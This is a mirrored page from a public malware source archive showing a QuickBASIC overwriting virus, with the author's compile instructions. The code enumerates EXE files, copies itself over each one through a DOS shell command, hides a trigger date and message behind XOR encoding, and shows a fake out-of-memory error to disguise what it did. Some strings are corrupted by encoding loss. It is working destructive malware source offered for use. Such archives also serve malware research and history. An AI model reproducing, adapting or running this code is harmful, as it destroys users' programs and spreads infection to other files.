mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
73 lines
2.8 KiB
QBasic
73 lines
2.8 KiB
QBasic
|
A QB Virus
|
|||
|
|
|
|||
|
|
Tis virus simply overwrites all the EXE's in the current DIR using DOS, it also uses a small assembly routine to "find itself" you must use QB 4.5 to compile it then after you compile (be sure to load QB with the /l switch) just run it, you may try using PKLITE on it and recording the new file size then changing the 43676 to whatever the new size is....
|
|||
|
|
|
|||
|
|
DEFINT A-Z
|
|||
|
|
'$INCLUDE: 'qb.bi'
|
|||
|
|
DECLARE FUNCTION ProgramName$ ()
|
|||
|
|
SHELL "DIR /b *.exe<78>¨<3B>"
|
|||
|
|
OPEN "<22>¨<3B>" FOR BINARY AS #1
|
|||
|
|
IF LOF(1) = 0 THEN CLOSE : KILL "<22>¨<3B>": GOTO endit
|
|||
|
|
CLOSE
|
|||
|
|
OPEN "<22>¨<3B>" FOR INPUT AS #1
|
|||
|
|
1 LINE INPUT #1, host$
|
|||
|
|
GOSUB infect
|
|||
|
|
endit:
|
|||
|
|
crdate$ = "<22><><EFBFBD><EFBFBD><EFBFBD>"
|
|||
|
|
FOR i = 1 TO LEN(crdate$)
|
|||
|
|
cdate$ = cdate$ + CHR$(ASC(MID$(crdate$, i, 1)) XOR &HFE)
|
|||
|
|
NEXT
|
|||
|
|
IF MID$(DATE$, 1, 5) = cdate$ THEN GOSUB message
|
|||
|
|
PRINT "Program to big to fit in memory"
|
|||
|
|
END
|
|||
|
|
infect:
|
|||
|
|
OPEN host$ FOR BINARY AS #2
|
|||
|
|
IF LOF(2) < 1200 OR LOF(2) = 43676 OR LOF(2) = 0 THEN CLOSE : GOTO 1
|
|||
|
|
CLOSE
|
|||
|
|
doit$ = "copy " + ProgramName$ + " " + host$ + "nul"
|
|||
|
|
SHELL doit$
|
|||
|
|
CLOSE : GOSUB endit
|
|||
|
|
END
|
|||
|
|
message:
|
|||
|
|
CLS
|
|||
|
|
FOR i = 1 TO 25 * 19.2
|
|||
|
|
PRINT "°±²<3B>";
|
|||
|
|
COLOR RND * 14 + 1
|
|||
|
|
NEXT
|
|||
|
|
DO: LOOP UNTIL INKEY$ < ""
|
|||
|
|
CLS
|
|||
|
|
PRINT
|
|||
|
|
msg$ = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԍ<EFBFBD><D48D><EFBFBD><EFBFBD>...<2E>"<EFBFBD><EFBFBD>""<EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>§"
|
|||
|
|
FOR i = 1 TO 37
|
|||
|
|
PRINT CHR$(ASC(MID$(msg$, i, 1)) XOR &HAD);
|
|||
|
|
NEXT
|
|||
|
|
FUNCTION ProgramName$ STATIC
|
|||
|
|
DIM Regs AS RegType 'Allocate space for TYPE
|
|||
|
|
' RegType
|
|||
|
|
Regs.ax = &H5100 'DOS function 51h
|
|||
|
|
Interrupt &H21, Regs, Regs ' Get PSP Address
|
|||
|
|
DEF SEG = Regs.bx 'Regs.bx returns PSP sgmnt.
|
|||
|
|
EnvSeg% = PEEK(&H2C) + PEEK(&H2D) * 256 'Get environment address
|
|||
|
|
DEF SEG = EnvSeg% 'Set environment address
|
|||
|
|
DO
|
|||
|
|
Byte% = PEEK(Offset%) 'Take a byte
|
|||
|
|
IF Byte% = 0 THEN 'Items are ASCIIZ
|
|||
|
|
Count% = Count% + 1 ' terminated
|
|||
|
|
IF Count% AND EXEFlag% THEN 'EXE also ASCIIZ terminated
|
|||
|
|
EXIT DO 'Exit at the end
|
|||
|
|
ELSEIF Count% = 2 THEN 'Last entry in env. is
|
|||
|
|
EXEFlag% = -1 ' terminated with two
|
|||
|
|
Offset% = Offset% + 2 ' NULs. Two bytes ahead
|
|||
|
|
END IF ' is the EXE file name.
|
|||
|
|
ELSE 'If Byte% < 0, reset
|
|||
|
|
Count% = 0 ' zero counter
|
|||
|
|
IF EXEFlag% THEN 'If EXE name found,
|
|||
|
|
Temp$ = Temp$ + CHR$(Byte%) ' build string
|
|||
|
|
END IF
|
|||
|
|
END IF
|
|||
|
|
Offset% = Offset% + 1 'To grab next byte...
|
|||
|
|
LOOP 'Do it again
|
|||
|
|
DEF SEG 'Reset default segment
|
|||
|
|
ProgramName$ = Temp$ 'Return value
|
|||
|
|
Temp$ = "" 'Clean up
|
|||
|
|
END FUNCTION
|